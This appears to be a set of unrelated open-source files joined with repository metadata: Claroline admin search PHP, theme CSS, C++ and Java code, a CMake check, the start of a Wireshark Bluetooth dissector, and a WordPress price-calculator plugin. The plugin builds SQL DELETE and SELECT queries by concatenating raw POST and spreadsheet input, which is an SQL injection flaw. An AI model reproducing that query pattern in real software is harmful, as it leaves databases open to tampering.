$sql .= " OR U.username LIKE '". claro_sql_escape(pr_star_replace($_SESSION['admin_user_search'])) ."%'";
$sql .= " OR U.officialCode = '". claro_sql_escape(pr_star_replace($_SESSION['admin_user_search'])) ."')";
}
//deal with ADVANCED SEARCH parameters call
if ( isset($_SESSION['admin_user_firstName']) && !empty($_SESSION['admin_user_firstname']) )
{
$sql .= " AND (U.prenom LIKE '%". claro_sql_escape(pr_star_replace($_SESSION['admin_user_firstName'])) ."%') ";
}
if ( isset($_SESSION['admin_user_lastName']) && !empty($_SESSION['admin_user_lastName']) )
{
$sql .= " AND (U.nom LIKE '%". claro_sql_escape(pr_star_replace($_SESSION['admin_user_lastName']))."%') ";
}
if ( isset($_SESSION['admin_user_userName']) && !empty($_SESSION['admin_user_userName']) )
{
$sql.= " AND (U.username LIKE '%". claro_sql_escape(pr_star_replace($_SESSION['admin_user_userName'])) ."%') ";
}
if ( isset($_SESSION['admin_user_officialCode']) && !empty($_SESSION['admin_user_officialCode']) )
{
$sql.= " AND (U.officialCode LIKE '%". claro_sql_escape(pr_star_replace($_SESSION['admin_user_officialCode'])) ."%') ";
}
if ( isset($_SESSION['admin_user_mail']) && !empty($_SESSION['admin_user_mail']) )
{
$sql.= " AND (U.email LIKE '%". claro_sql_escape(pr_star_replace($_SESSION['admin_user_mail'])) ."%') ";
}
if ($filterOnStatus== 'createcourse' )
{
$sql.=" AND (U.isCourseCreator=1)";
}
elseif ($filterOnStatus=='followcourse' )
{
$sql.=" AND (U.isCourseCreator=0)";
}
return $sql;
}
function prepare_search()
{
$queryStringElementList = array();
$isSearched = array();
if ( !empty($_SESSION['admin_user_search']) )
{
$isSearched[] = $_SESSION['admin_user_search'];
}
if ( !empty($_SESSION['admin_user_firstName']) )
{
$isSearched[] = get_lang('First name') . '=' . $_SESSION['admin_user_firstName'];
$queryStringElementList [] = 'firstName=' . urlencode($_SESSION['admin_user_firstName']);
}
if ( !empty($_SESSION['admin_user_lastName']) )
{
$isSearched[] = get_lang('Last name') . '=' . $_SESSION['admin_user_lastName'];
$queryStringElementList[] = 'lastName=' . urlencode($_SESSION['admin_user_lastName']);
}
if ( !empty($_SESSION['admin_user_userName']) )
{
$isSearched[] = get_lang('Username') . '=' . $_SESSION['admin_user_userName'];
$queryStringElementList[] = 'userName=' . urlencode($_SESSION['admin_user_userName']);
}
if ( !empty($_SESSION['admin_user_officialCode']) )
{
$isSearched[] = get_lang('Official code') . '=' . $_SESSION['admin_user_officialCode'];
$queryStringElementList[] = 'userName=' . urlencode($_SESSION['admin_user_officialCode']);
}
if ( !empty($_SESSION['admin_user_mail']) )
{
$isSearched[] = get_lang('Email') . '=' . $_SESSION['admin_user_mail'];
$queryStringElementList[] = 'mail=' . urlencode($_SESSION['admin_user_mail']);
}
if ( !empty($_SESSION['admin_user_action']) && ($_SESSION['admin_user_action'] == 'followcourse'))
{
$isSearched[] = '<b>' . get_lang('Follow courses') . '</b>';
$queryStringElementList[] = 'action=' . urlencode($_SESSION['admin_user_action']);
}
elseif ( !empty($_SESSION['admin_user_action']) && ($_SESSION['admin_user_action'] == 'createcourse'))
{
$isSearched[] = '<b>' . get_lang('Course creator') . '</b>';
$queryStringElementList[] = 'action=' . urlencode($_SESSION['admin_user_action']);
}
elseif (isset($_SESSION['admin_user_action']) && ($_SESSION['admin_user_action']=='plateformadmin'))
{
$isSearched[] = '<b>' . get_lang('Platform administrator') . ' </b> ';
$queryStringElementList[] = 'action=' . urlencode($_SESSION['admin_user_action']);
}
else $queryStringElementList[] = 'action=all';
if ( count($queryStringElementList) > 0 ) $queryString = '?' . implode('&',$queryStringElementList);
else $queryString = '';
$searchInfo['isSearched'] = $isSearched;
$searchInfo['addtoAdvanced'] = $queryString;
return $searchInfo;
}
?>
|
yannhos115/claroline-exercice
|
claroline/admin/adminusers.php
|
PHP
|
gpl-2.0
| 18,212
|
/***************/
/* GENERAL CSS */
/***************/
#body_bg {
border-bottom: 1px solid #222;
}
#body_left {
background: transparent url(../images/all/fill_left.png) 0 0 repeat-y;
}
#body_right {
background: transparent url(../images/all/fill_right.png) 100% 0 repeat-y;
}
ul.links li {
border-left: 1px solid #2c2c2c; /* LTR */
}
.divider {
border-left: 1px dashed #222; /* LTR */
}
.node.teaser {
border-bottom: 1px dashed #222;
}
.submitted, .links {
color: #666;
}
.comment {
border: 1px solid #2c2c2c;
}
.comment .title {
background: transparent url(../images/all/icon-comment.png) left center no-repeat; /* LTR */
}
blockquote, .messages {
background: #111;
border: 1px solid #333;
}
.form-item label, .item-list .title {
color: #ddd;
}
#site-slogan {
color: #888;
}
#mission {
color: #acacac;
border: solid 1px #222;
}
#breadcrumb, #breadcrumb a {
color: #888 !important;
}
#footer, #footer a {
color: #666;
}
#footer ul.links li {
border-left: 1px solid #6f6f6f;
}
.by, .by a, .by a:hover {
color: #333 !important;
}
#aggregator .feed-source {
background: #111;
border: 1px solid #333;
}
#forum td.forum, #forum td.posts {
background: #111;
}
#forum td.topics, #forum td.last-reply {
background: #222;
}
#forum td.statistics, #forum td.settings, #forum td.pager {
border: 1px solid #444;
}
#forum td.container {
background: #0f0f0f url(../images/all/forum-container.jpg) right top no-repeat; /* LTR */
}
#forum td.container .name a {
background: transparent url(../images/all/forum-link.png) left center no-repeat;
}
#profile .profile {
border: 1px solid #543;
}
/* MENU & link STYLES */
ul li.leaf {
list-style-image: url(../images/all/menu-leaf.png);
}
ul li.expanded {
list-style-image: url(../images/all/menu-expanded.png);
}
ul li.collapsed {
list-style-image: url(../images/all/menu-collapsed.png); /* LTR */
}
#submenu a {
border: 1px solid #222;
color: #888 !important;
background: #111;
}
#submenu li a:hover {
background: #242424;
}
#menu2 a {
color: #666 !important;
}
#menu2 a:hover, #menu2 a.active {
color: #999 !important;
}
#footer a:hover, #footer a.active {
color: #999;
}
/* MODULE SPECIFIC STYLES */
.book-navigation .page-links {
border-top: 1px dashed #2c2c2c;
border-bottom: 1px dashed #2c2c2c;
}
.cart-block-title-bar .arrow-up {
background: transparent url(../images/all/menu-up.png) no-repeat center center !important;
}
.cart-block-title-bar .arrow-down {
background: transparent url(../images/all/menu-expanded.png) no-repeat center center !important;
}
.category-grid-products table {
border-top: 1px dashed #222 !important;
border-left: 1px dashed #222 !important;
}
.category-grid-products td {
border-right: 1px dashed #222 !important;
border-bottom: 1px dashed #222 !important;
background: transparent !important;
}
/****************/
/* GRAPHICS CSS */
/****************/
#top_bg {
background: transparent url(../images/star/fill_top.png) 0 100% repeat-x;
}
#top_left {
background: transparent url(../images/star/fill_top_left.png) 0 100% no-repeat;
}
#top_right {
background: transparent url(../images/star/fill_top_right.png) 100% 100% no-repeat;
}
h1, h2, h3 {
color: #fd8b0c;
}
a, a:link,
.title, .title a,
.node .terms,
#aggregator .news-item .categories, #aggregator .source, #aggregator .age,
#forum td .name,
.admin-panel .description {
color: #fd8b0c;
}
a:hover, li a.active {
color: #777;
}
.block.themed-block {
background: #000 url(../images/star/fill_block.png) 0 100% repeat-x;
border: 1px solid #222;
}
/* pure forms */
.pure-button {
color: #bbb;
color: rgba(255, 255, 255, 0.80);
border: 1px solid #666;
background-color: #191919;
}
#edit-preview.pure-button {
background-color: #D3EDA3;
color: #000;
}
#edit-delete.pure-button {
background-color: #F5AB9E;
color: #000;
}
.pure-button-selected,
a.pure-button-selected {
background-color: #555;
color: #000;
}
.pure-form input,
.pure-form select,
.pure-form textarea {
border: 1px solid #333 !important;
box-shadow: inset 0 1px 3px #222 !important;
background-color: #111;
}
.pure-form input:focus,
.pure-form select:focus,
.pure-form textarea:focus {
border-color: #ED6015;
}
.pure-form select {
border: 1px solid #333;
}
.pure-form legend {
color: #ccc;
border-bottom: 1px solid #1a1a1a;
}
.resizable-textarea .grippie {
background-color: #111;
border-color: #222;
}
/* Dropdown */
.menu-toggle {
background: #191919;
border: 1px solid #333;
border-bottom: none;
}
.menu-toggle .bars {
background: #888;
}
.pure-menu-heading {
color: #fd8b0c;
}
.pure-menu-link {
color: #000 !important;
background: #fd8b0c;
}
.pure-menu-link:hover,
.pure-menu-link:focus {
background: #fa0;
}
.pure-menu-children .pure-menu-link {
background: #fd8b0c;
border-left: 1px solid #fda039;
border-top: 1px solid #fda039;
border-right: 1px solid #f28102;
border-bottom: 1px solid #f28102;
}
.pure-menu-children a:hover,
.pure-menu-children a:focus {
background: #fa0;
}
@media screen and (max-width: 48em) {
.pure-menu-link, .pure-menu-children,
.pure-menu-children .pure-menu-link {
border: none;
color: #fd8b0c !important;
background: none;
}
.pure-menu-link:hover,
.pure-menu-link:focus,
.pure-menu-children a:hover,
.pure-menu-children a:focus {
background: #191919;
}
.menuband {
min-height: 2.3em;
border-bottom: 1px solid #222;
}
.pure-menu-list {
background: #000;
}
}
|
danlauby/bookstore
|
sites/all/themes/black_hole/css/star.css
|
CSS
|
gpl-2.0
| 5,399
|
/*****************************************************************************
* ____ ____ _ _ _ *
* /# /_\_ | _ \ (_) __| | (_) ___ _ __ *
* | |/o\o\ | | | | | | / _` | | | / _ \ | '__| *
* | \\_/_/ | |_| | | | | (_| | | | | __/ | | *
* / |_ | |____/ |_| \__,_| |_| \___| |_| *
* | ||\_ ~| *
* | ||| \/ *
* | ||| Project : KFreeFlight : a KDE4 GUI frontend for FlightGear *
* \// | *
* || | Developper : Didier FABERT <didier.fabert@gmail.com> *
* ||_ \ Date : 2009, April *
* \_| o| ,__, *
* \___/ Copyright (C) 2009 by didier fabert (oo)____ *
* ||||__ (__) )\ *
* (___)_) File : win_messages.h ||--|| * *
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
*****************************************************************************/
#ifndef WIN_MESSAGES_H
#define WIN_MESSAGES_H
#include "ui_win_messages_base.h"
#include <QWidget>
/**
@author Didier Fabert <didier.fabert@gmail.com>
*/
class KFFWin_messages : public QWidget
{
Q_OBJECT
public:
KFFWin_messages( QWidget *parent = 0 );
~KFFWin_messages();
public slots:
virtual void insertTitle(const QString& title);
virtual void insertText(const QString& text);
virtual void insertError(const QString& text);
private:
Ui::win_output ui_widget;
private slots:
void save();
};
#endif // WIN_MESSAGES_H
|
ac001/ffs-central
|
win_messages.h
|
C
|
gpl-2.0
| 2,671
|
#
# Check for struct packing features
# This feature reworked from m4/reorganization/code_checks/compiler_attribs.m4
#
GET_FILENAME_COMPONENT(_selfdir_CheckFTS
"${CMAKE_CURRENT_LIST_FILE}" PATH)
# Check if __attribute__((packed)) is available
check_c_source_compiles(
"
#include <fts.h>
int main(void) {
fts_open((void *)0, FTS_PHYSICAL, (void *)0);
return 0;
}
"
HAVE_SYSTEM_LFS_FTS )
|
gbmaster/clamav-devel
|
cmake/CheckFTS.cmake
|
CMake
|
gpl-2.0
| 434
|
//
// Copyright 2002 Sony Corporation
//
// Permission to use, copy, modify, and redistribute this software for
// non-commercial use is hereby granted.
//
// This software is provided "as is" without warranty of any kind,
// either expressed or implied, including but not limited to the
// implied warranties of fitness for a particular purpose.
//
#include <OPENR/OPENRAPI.h>
#include <OPENR/OSyslog.h>
#include "MoNetAgentManager.h"
#include "MoNetAgent.h"
MoNetAgentManager::MoNetAgentManager() : activeMoNetAgent(0),
activeAgentCommand(),
moNetAgentList(),
effectorSubject(0)
{
for (int i = 0; i < NUM_JOINTS; i++) primitiveID[i] = oprimitiveID_UNDEF;
for (int i = 0; i < NUM_COMMAND_VECTOR; i++) commandRegions[i] = 0;
}
void
MoNetAgentManager::Init()
{
OSYSDEBUG(("MoNetAgentManager::Init()\n"));
OpenPrimitives();
NewCommandVectorData();
list<MoNetAgent*>::iterator iter = moNetAgentList.begin();
list<MoNetAgent*>::iterator last = moNetAgentList.end();
while (iter != last) {
(*iter)->Init();
++iter;
}
}
void
MoNetAgentManager::Start(OSubject* effector)
{
OSYSDEBUG(("MoNetAgentManager::Start()\n"));
effectorSubject = effector;
}
void
MoNetAgentManager::RegisterMoNetAgent(MoNetAgent* m)
{
OSYSDEBUG(("MoNetAgentManager::RegisterMoNetAgent()\n"));
moNetAgentList.push_back(m);
m->SetMoNetAgentManager(this);
}
void
MoNetAgentManager::NotifyCommand(const ONotifyEvent& event,
MoNetAgentResult* result)
{
MoNetAgentCommand* cmd = (MoNetAgentCommand*)event.Data(0);
if (activeMoNetAgent != 0) {
// BUSY
result->agent = cmd->agent;
result->index = cmd->index;
result->status = monetBUSY;
result->endPosture = monetpostureUNDEF;
return;
}
list<MoNetAgent*>::iterator iter = moNetAgentList.begin();
list<MoNetAgent*>::iterator last = moNetAgentList.end();
while (iter != last) {
if ((*iter)->AreYou(cmd->agent) == true) {
(*iter)->NotifyCommand(*cmd, result);
if (result->status != monetSUCCESS) return;
activeMoNetAgent = *iter;
activeAgentCommand = *cmd;
return;
}
++iter;
}
// INVALID_ARG
result->agent = cmd->agent;
result->index = cmd->index;
result->status = monetINVALID_ARG;
result->endPosture = monetpostureUNDEF;
}
void
MoNetAgentManager::ReadyEffector(const OReadyEvent& event,
MoNetAgentResult* result)
{
if (activeMoNetAgent == 0) {
result->agent = monetagentUNDEF;
result->index = -1;
result->status = monetSUCCESS;
result->endPosture = monetpostureUNDEF;
return;
}
activeMoNetAgent->ReadyEffector(activeAgentCommand, result);
if (result->status != monetSUCCESS) {
activeMoNetAgent = 0;
activeAgentCommand.Clear();
}
}
void
MoNetAgentManager::OpenPrimitives()
{
OSYSDEBUG(("MoNetAgentManager::OpenPrimitives()\n"));
OStatus result;
for (int i = 0; i < NUM_JOINTS; i++) {
result = OPENR::OpenPrimitive(JOINT_LOCATOR[i], &primitiveID[i]);
if (result != oSUCCESS) {
OSYSLOG1((osyslogERROR, "%s : %s %d",
"MoNetAgentManager::OpenPrimitives()",
"OPENR::OpenPrimitive() FAILED", result));
}
}
}
void
MoNetAgentManager::NewCommandVectorData()
{
OSYSDEBUG(("MoNetAgentManager::NewCommandVectorData()\n"));
OStatus result;
MemoryRegionID cmdVecDataID;
OCommandVectorData* cmdVecData;
OCommandInfo* info;
for (int i = 0; i < NUM_COMMAND_VECTOR; i++) {
result = OPENR::NewCommandVectorData(NUM_JOINTS,
&cmdVecDataID, &cmdVecData);
if (result != oSUCCESS) {
OSYSLOG1((osyslogERROR, "%s : %s %d",
"MoNetAgentManager::NewCommandVectorData()",
"OPENR::NewCommandVectorData() FAILED", result));
}
commandRegions[i] = new RCRegion(cmdVecData->vectorInfo.memRegionID,
cmdVecData->vectorInfo.offset,
(void*)cmdVecData,
cmdVecData->vectorInfo.totalSize);
cmdVecData->SetNumData(NUM_JOINTS);
for (int j = 0; j < NUM_JOINTS; j++) {
info = cmdVecData->GetInfo(j);
info->Set(odataJOINT_COMMAND2, primitiveID[j], NUM_FRAMES);
}
}
}
RCRegion*
MoNetAgentManager::FindFreeCommandRegion()
{
for (int i = 0; i < NUM_COMMAND_VECTOR; i++) {
if (commandRegions[i]->NumberOfReference() == 1) {
return commandRegions[i];
}
}
OSYSPRINT(("err\n"));
OSYSLOG1((osyslogERROR, "%s : %s %d",
"MoNetAgentManager::FindFreeCommandRegion()",
"FAILED", 0));
return 0;
}
int
MoNetAgentManager::GetIndexFromJointName( const char *jointName )
{
for ( int i = 0; i < NUM_JOINTS; i ++ ) {
if ( !strcmp( JOINT_LOCATOR[ i ], jointName ) ) {
return i;
}
}
OSYSLOG1((osyslogERROR, "%s : %s",
"MoNetAgentManager::GetIndexFromJointName()",
"invalid joint name"));
return 0;
}
void
MoNetAgentManager::NotifyPose(const ONotifyEvent& event)
{
PoseData* data = (PoseData*)event.Data(0);
list<MoNetAgent*>::iterator iter = moNetAgentList.begin();
list<MoNetAgent*>::iterator last = moNetAgentList.end();
while (iter != last) {
if ((*iter)->AreYou(monetagentANY) == true) {
(*iter)->SetPose(data);
return;
}
++iter;
}
}
|
EiichiroIto/scratch-aibo
|
MotionAgents/MoNetAgentManager.cc
|
C++
|
gpl-2.0
| 5,877
|
<?php
/*
Plugin Name: Калькулятор цен
Plugin URI: none
Description: Плагин загрузки цен на услуги СТО для калькулятора цен на сайте Автодоктор
Version: 3.1.5
Author: WebUniverse
Author URI: http://webuniverse.com.ua/
*/
define( 'prices_calculator_PLUGIN_URL', plugin_dir_url( __FILE__ ) );
define( 'prices_calculator_PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
if ( ! function_exists( 'wp_handle_upload' ) ) {
require_once( str_replace(chr(92), '/', ABSPATH) . 'wp-admin/includes/file.php' );
}
require_once( str_replace(chr(92), '/', ABSPATH) . 'wp-includes/pluggable.php');
require_once('php_excel/Classes/PHPExcel.php');
function addAdminPagePricesCalculator(){
add_menu_page('Система анализа загруженного .xls файла и его разбор для Калькулятора цен',
'Калькулятор цен',
8,
'prices_calculator',
'pricesCalculatorOptionsPage');
}
function pricesCalculatorOptionsPage(){
global $wpdb;
echo '<h2>Система анализа загруженного .xls файла и его разбор для Калькулятора цен</h2>';
if($_FILES['file']){
$uploadedfile = $_FILES['file'];
$upload_overrides = array( 'test_form' => false );
$movefile = wp_handle_upload( $uploadedfile, $upload_overrides );
if ( $movefile && !isset( $movefile['error'] ) ) {
echo "Успешно загруженный файл, файл: ";
echo $movefile['file'] . "<br><br>";
readXLSXDocument($wpdb, $movefile['file']);
//var_dump( $movefile);
} else {
echo "Ошибка: ";
echo $movefile['error'];
}
}
if($_POST['delete']){
$results = json_decode(json_encode($wpdb->get_results( 'SELECT pc_services.* FROM pc_services
WHERE pc_services.id_service = ' . $_POST['delete'] . ' LIMIT 1; ' )),true);
$id_category = $results[0]['id_category'];
$wpdb->query(
"DELETE FROM pc_services WHERE id_service = '" . $_POST['delete'] . "'"
);
$results = json_decode(json_encode($wpdb->get_results( 'SELECT pc_services.* FROM pc_services
WHERE pc_services.id_category = ' . $id_category . ' LIMIT 1; ' )),true);
if(!$results){
$wpdb->query(
"DELETE FROM pc_categories WHERE id_category = '" . $id_category . "'"
);
}
echo "Успешно удалено!<br><br><br>";
}
echo '<h3>Загрузите Excel файл для его разбора системой:</h3><br>
<form method = "POST" enctype = "multipart/form-data">
<input type = "file" name = "file"><br><br><br>
<input type = "submit" value = "Отправить">
</form><br><br>';
echo "<h3>Имеющиейся данные:</h3><br>";
$results = json_decode(json_encode($wpdb->get_results( 'SELECT pc_services.*, pc_categories.* FROM pc_services
INNER JOIN pc_categories
ON pc_services.id_category = pc_categories.id_category' )),true);
if($results){
echo '<table border = "1" cellspacing="2" cellpadding="10">
<tr>
<td><strong>Категория</strong></td>
<td><strong>Услуга</strong></td>
<td><strong>Стоимость</strong></td>
<td><strong>Удалить</strong></td>
</tr>';
foreach ($results as $data) {
echo '<tr>
<td>' . $data['category'] . '</td>
<td>' . $data['service'] . '</td>
<td>' . $data['price'] . '</td>
<td>
<form method = "POST">
<input type = "hidden" name = "delete" value = "' . $data['id_service'] . '">
<input type = "submit" value = "Удалить">
</form>
</td>
</tr>';
}
echo '</table>';
}
}
function readXLSXDocument($wpdb, $file_name){
$inputFileName = $file_name;
// Read your Excel workbook
try {
$inputFileType = PHPExcel_IOFactory::identify($inputFileName);
$objReader = PHPExcel_IOFactory::createReader($inputFileType);
$objPHPExcel = $objReader->load($inputFileName);
} catch (Exception $e) {
die('Error loading file "' . pathinfo($inputFileName, PATHINFO_BASENAME)
. '": ' . $e->getMessage());
}
// Get worksheet dimensions
$sheet = $objPHPExcel->getSheet(0);
$highestRow = $sheet->getHighestRow();
$highestColumn = $sheet->getHighestColumn();
for ($row = 2; $row <= $highestRow; $row++) {
$rowData = $sheet->rangeToArray('A' . $row . ':' . $highestColumn . $row,
NULL,
TRUE,
FALSE);
if($rowData[0]){
echo 'Были произведены действия:<br>';
foreach($rowData[0] as $k=>$v){
if($k == 0){
$service_category = $v;
}else if($k == 1){
$service = $v;
}else if($k == 2){
$service_price = $v;
if(addPrices($wpdb, $service_category, $service, $service_price)){
echo "Добавлено - Категория: " . $service_category . ". Услуга: " . $service . ". Стоимость = " . $service_price . "<br/>";
}else{
echo "Обновлено - Категория: " . $service_category . ". Услуга: " . $service . ". Стоимость = " . $service_price . "<br/>";
}
}
}
}
}
}
function addPrices($wpdb, $category, $service, $price){
$added = false;
$results = json_decode(json_encode($wpdb->get_results( 'SELECT * FROM pc_categories WHERE category = "' . $category . '"' )),true);
if(!$results){
$wpdb->insert(
'pc_categories',
array(
'category' => $category
)
);
$id = $wpdb->insert_id;
}else{
$id = $results[0]['id_category'];
}
$results = json_decode(json_encode($wpdb->get_results( 'SELECT * FROM pc_services WHERE id_category = "' . $id . '" AND
service = "' . $service . '"' )), true);
if(!$results){
$wpdb->insert(
'pc_services',
array(
'id_category' => $id,
'service' => $service,
'price' => $price
)
);
$added = true;
}else{
$wpdb->update(
'pc_services',
array(
'price' => $price
),
array( 'id_service' => $results[0]['id_service'] )
);
}
return $added;
}
add_action('admin_menu', 'addAdminPagePricesCalculator');
|
PapaPsih/Avtodoctor
|
wp-content/plugins/prices_calculator/prices_calculator.php
|
PHP
|
gpl-2.0
| 6,459
|
import testlib.flowexpression.qual.FlowExp;
public class Canonicalization {
class LockExample {
protected final Object myLock = new Object();
protected @FlowExp("myLock") Object locked;
protected @FlowExp("this.myLock") Object locked2;
public @FlowExp("myLock") Object getLocked() {
return locked;
}
}
class Use {
final LockExample lockExample1 = new LockExample();
final Object myLock = new Object();
@FlowExp("lockExample1.myLock") Object o1 = lockExample1.locked;
@FlowExp("lockExample1.myLock") Object o2 = lockExample1.locked2;
@FlowExp("myLock")
//:: error: (assignment.type.incompatible)
Object o3 = lockExample1.locked;
@FlowExp("this.myLock")
//:: error: (assignment.type.incompatible)
Object o4 = lockExample1.locked2;
@FlowExp("lockExample1.myLock") Object oM1 = lockExample1.getLocked();
@FlowExp("myLock")
//:: error: (assignment.type.incompatible)
Object oM2 = lockExample1.getLocked();
@FlowExp("this.myLock")
//:: error: (assignment.type.incompatible)
Object oM3 = lockExample1.getLocked();
}
}
|
CharlesZ-Chen/checker-framework
|
framework/tests/flowexpression/Canonicalization.java
|
Java
|
gpl-2.0
| 1,226
|
/* packet-bthci-cmd.c
* Routines for the Bluetooth HCI Command dissection
* Copyright 2002, Christoph Scholz <scholz@cs.uni-bonn.de>
* From: http://affix.sourceforge.net/archive/ethereal_affix-3.patch
*
* Refactored for wireshark checkin
* Ronnie Sahlberg 2006
*
* Updated to HCI specification 2.1 + EDR
* Allan M. Madsen 2007
* Updated to HCI specification 3.0+HS & 4.0
* Allan M. Madsen 2012
*
* Wireshark - Network traffic analyzer
* By Gerald Combs <gerald@wireshark.org>
* Copyright 1998 Gerald Combs
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#include "config.h"
#include <epan/packet.h>
#include <epan/addr_resolv.h>
#include <epan/expert.h>
#include <epan/prefs.h>
#include <epan/decode_as.h>
#include "packet-bluetooth-hci.h"
#include "packet-btsdp.h"
static int proto_bthci_cmd = -1;
static int hf_bthci_cmd_opcode = -1;
static int hf_bthci_cmd_ogf = -1;
static int hf_bthci_cmd_ocf = -1;
static int hf_bthci_cmd_ocf_link_control = -1;
static int hf_bthci_cmd_ocf_link_policy = -1;
static int hf_bthci_cmd_ocf_host_controller_and_baseband = -1;
static int hf_bthci_cmd_ocf_informational = -1;
static int hf_bthci_cmd_ocf_status = -1;
static int hf_bthci_cmd_ocf_testing = -1;
static int hf_bthci_cmd_ocf_logo_testing = -1;
static int hf_bthci_cmd_ocf_low_energy = -1;
static int hf_bthci_cmd_param_length = -1;
static int hf_bthci_cmd_lap = -1;
static int hf_bthci_cmd_inq_length = -1;
static int hf_bthci_cmd_num_responses = -1;
static int hf_bthci_cmd_encrypt_mode = -1;
static int hf_bthci_cmd_bd_addr = -1;
static int hf_bthci_cmd_packet_type_dm1 = -1;
static int hf_bthci_cmd_packet_type_dm3 = -1;
static int hf_bthci_cmd_packet_type_dm5 = -1;
static int hf_bthci_cmd_packet_type_dh1 = -1;
static int hf_bthci_cmd_packet_type_dh3 = -1;
static int hf_bthci_cmd_packet_type_dh5 = -1;
static int hf_bthci_cmd_packet_type_2dh1 = -1;
static int hf_bthci_cmd_packet_type_3dh1 = -1;
static int hf_bthci_cmd_packet_type_2dh3 = -1;
static int hf_bthci_cmd_packet_type_3dh3 = -1;
static int hf_bthci_cmd_packet_type_2dh5 = -1;
static int hf_bthci_cmd_packet_type_3dh5 = -1;
static int hf_bthci_cmd_clock_offset = -1;
static int hf_bthci_cmd_clock_offset_valid = -1;
static int hf_bthci_cmd_allow_role_switch = -1;
static int hf_bthci_cmd_page_scan_mode = -1;
static int hf_bthci_cmd_page_scan_repetition_mode = -1;
static int hf_bthci_cmd_page_scan_period_mode = -1;
static int hf_bthci_cmd_max_period_length = -1;
static int hf_bthci_cmd_min_period_length = -1;
static int hf_bthci_cmd_connection_handle = -1;
static int hf_bthci_cmd_reason = -1;
static int hf_bthci_cmd_num_link_keys = -1;
static int hf_bthci_cmd_link_key = -1;
static int hf_bthci_cmd_packet_type_hv1 = -1;
static int hf_bthci_cmd_packet_type_hv2 = -1;
static int hf_bthci_cmd_packet_type_hv3 = -1;
static int hf_bthci_cmd_role = -1;
static int hf_bthci_cmd_pin_code_length = -1;
static int hf_bthci_cmd_pin_code = -1;
static int hf_bthci_cmd_pin_type = -1;
static int hf_bthci_cmd_encryption_enable = -1;
static int hf_bthci_cmd_key_flag = -1;
static int hf_bthci_cmd_max_interval_hold = -1;
static int hf_bthci_cmd_min_interval_hold = -1;
static int hf_bthci_cmd_max_interval_sniff = -1;
static int hf_bthci_cmd_min_interval_sniff = -1;
static int hf_bthci_cmd_sniff_attempt = -1;
static int hf_bthci_cmd_timeout = -1;
static int hf_bthci_cmd_max_interval_beacon = -1;
static int hf_bthci_cmd_min_interval_beacon = -1;
static int hf_bthci_cmd_flags = -1;
static int hf_bthci_cmd_service_type = -1;
static int hf_bthci_cmd_token_rate = -1;
static int hf_bthci_cmd_token_bucket_size = -1;
static int hf_bthci_cmd_peak_bandwidth = -1;
static int hf_bthci_cmd_latency = -1;
static int hf_bthci_cmd_delay_variation = -1;
static int hf_bthci_cmd_link_policy_setting_switch = -1;
static int hf_bthci_cmd_link_policy_setting_hold = -1;
static int hf_bthci_cmd_link_policy_setting_sniff = -1;
static int hf_bthci_cmd_link_policy_setting_park = -1;
static int hf_bthci_cmd_filter_type = -1;
static int hf_bthci_cmd_inquiry_result_filter_condition_type = -1;
static int hf_bthci_cmd_connection_setup_filter_condition_type = -1;
static int hf_bthci_cmd_cod_class_of_device_mask = -1;
static int hf_bthci_cmd_cod_minor_device_class_mask= -1;
static int hf_bthci_cmd_cod_format_type_mask = -1;
static int hf_bthci_cmd_cod_major_service_class_information_mask = -1;
static int hf_bthci_cmd_cod_major_service_class_telephony_mask = -1;
static int hf_bthci_cmd_cod_major_service_class_audio_mask = -1;
static int hf_bthci_cmd_cod_major_service_class_object_transfer_mask = -1;
static int hf_bthci_cmd_cod_major_service_class_capturing_mask = -1;
static int hf_bthci_cmd_cod_major_service_class_rendering_mask = -1;
static int hf_bthci_cmd_cod_major_service_class_networking_mask = -1;
static int hf_bthci_cmd_cod_major_service_class_positioning_mask = -1;
static int hf_bthci_cmd_cod_major_service_class_reserved_mask = -1;
static int hf_bthci_cmd_cod_major_service_class_limited_discoverable_mode_mask = -1;
static int hf_bthci_cmd_cod_major_device_class_mask = -1;
static int hf_bthci_cmd_auto_acc_flag = -1;
static int hf_bthci_cmd_read_all_flag = -1;
static int hf_bthci_cmd_delete_all_flag = -1;
static int hf_bthci_cmd_authentication_enable = -1;
static int hf_bthci_cmd_input_unused = -1;
static int hf_bthci_cmd_input_coding = -1;
static int hf_bthci_cmd_input_data_format = -1;
static int hf_bthci_cmd_input_sample_size = -1;
static int hf_bthci_cmd_linear_pcm_bit_pos = -1;
static int hf_bthci_cmd_air_coding_format = -1;
static int hf_bthci_cmd_num_broadcast_retransmissions = -1;
static int hf_bthci_cmd_hold_mode_act_page = -1;
static int hf_bthci_cmd_hold_mode_act_inquiry = -1;
static int hf_bthci_cmd_hold_mode_act_periodic = -1;
static int hf_bthci_cmd_scan_enable = -1;
static int hf_bthci_cmd_interval = -1;
static int hf_bthci_cmd_window = -1;
static int hf_bthci_cmd_device_name = -1;
static int hf_bthci_cmd_num_curr_iac = -1;
static int hf_bthci_cmd_iac_lap = -1;
static int hf_bthci_cmd_evt_mask_00 = -1;
static int hf_bthci_cmd_evt_mask_01 = -1;
static int hf_bthci_cmd_evt_mask_02 = -1;
static int hf_bthci_cmd_evt_mask_03 = -1;
static int hf_bthci_cmd_evt_mask_04 = -1;
static int hf_bthci_cmd_evt_mask_05 = -1;
static int hf_bthci_cmd_evt_mask_06 = -1;
static int hf_bthci_cmd_evt_mask_07 = -1;
static int hf_bthci_cmd_evt_mask_10 = -1;
static int hf_bthci_cmd_evt_mask_11 = -1;
static int hf_bthci_cmd_evt_mask_12 = -1;
static int hf_bthci_cmd_evt_mask_13 = -1;
static int hf_bthci_cmd_evt_mask_14 = -1;
static int hf_bthci_cmd_evt_mask_17 = -1;
static int hf_bthci_cmd_evt_mask_20 = -1;
